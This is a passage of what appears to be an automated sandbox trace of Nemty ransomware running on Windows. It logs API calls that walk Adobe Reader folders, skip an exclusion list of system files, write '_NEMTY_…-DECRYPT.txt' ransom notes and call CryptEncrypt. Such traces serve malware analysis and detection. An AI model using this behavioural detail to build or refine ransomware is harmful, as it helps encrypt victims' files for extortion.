lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.607] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.608] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.608] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a80eef0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a80eef0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a835050, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.608] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.608] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.608] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2=".") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="..") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="...") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="windows") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="$RECYCLE.BIN") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="rsa") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="NTDETECT.COM") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="ntldr") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="MSDOS.SYS") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="IO.SYS") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="boot.ini") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="boot.ini") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="AUTOEXEC.BAT") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="ntuser.dat") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="desktop.ini") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="CONFIG.SYS") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="RECYCLER") returned -1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="BOOTSECT.BAK") returned 1 [0172.608] lstrcmpiW (lpString1="CZE", lpString2="bootmgr") returned 1 [0172.609] lstrcmpiW (lpString1="CZE", lpString2="programdata") returned -1 [0172.609] lstrcmpiW (lpString1="CZE", lpString2="appdata") returned 1 [0172.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CZE", lpUsedDefaultChar=0x0) returned 3 [0172.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.609] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CZE", lpUsedDefaultChar=0x0) returned 3 [0172.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.609] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.610] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.610] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.610] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.611] CloseHandle (hObject=0x254) returned 1 [0172.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.611] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.611] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.612] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.612] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.612] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.613] CloseHandle (hObject=0x254) returned 1 [0172.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.613] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a85b1b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a85b1b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.613] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.613] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a85b1b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a85b1b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.613] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.613] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.614] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.614] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.614] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.615] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112b7, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0172.615] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0172.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0172.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0172.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0172.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0172.616] Sleep (dwMilliseconds=0x5) [0172.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a8a7470, dwHighDateTime=0x1d561e8)) [0172.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a8a7470, dwHighDateTime=0x1d561e8)) [0172.627] GetLastError () returned 0xb7 [0172.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.628] GetLastError () returned 0xb7 [0172.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.628] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.628] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.628] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0172.628] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: 